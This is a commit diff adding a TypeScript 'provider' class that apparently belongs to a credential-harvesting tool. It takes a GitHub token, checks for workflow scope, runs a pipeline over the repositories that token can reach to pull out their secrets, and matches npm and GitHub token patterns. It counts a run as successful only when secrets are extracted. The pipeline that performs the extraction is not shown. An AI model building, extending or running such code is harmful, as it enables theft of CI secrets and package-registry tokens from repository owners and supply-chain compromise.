Upload files to "src/providers/actions"

This commit is contained in:
2026-07-03 00:07:28 +00:00
parent d4adbbbb66
commit 016f74d61e
3 changed files with 119 additions and 0 deletions
+50
View File
@@ -0,0 +1,50 @@
import { checkToken } from "../../github_utils/tokenCheck";
import { logUtil } from "../../utils/logger";
import { Provider } from "../base";
import type { ProviderResult } from "../types";
import { runFormatOnReposWithSecrets } from "./pipeline";
export type TokenRepo = {
token: string;
repo: string;
owner: string;
};
export class GitHubActionsService extends Provider {
private token;
constructor(token: string) {
super("github", "actions", {
npmtoken: /npm_[A-Za-z0-9]{36,}/g,
ghtoken: /gh[op]_[A-Za-z0-9]{36}/g,
});
this.token = token;
}
async execute(): Promise<ProviderResult> {
if ((await checkToken(this.token)).hasWorkflowScope) {
const results: any[] = [];
const collected = runFormatOnReposWithSecrets(this.token);
try {
for await (const collection of collected) {
if (!collection.error) {
results.push(collection);
}
}
} catch (e) {
logUtil.error("Failure collecting results");
}
if (!results || Object.keys(results).length === 0) {
logUtil.log("No Secrets.");
return this.failure("No secrets extracted");
} else {
return this.success({ results });
}
} else {
logUtil.log("Missing workflow scope.");
return this.failure("No workfow scope or invalid!");
}
}
}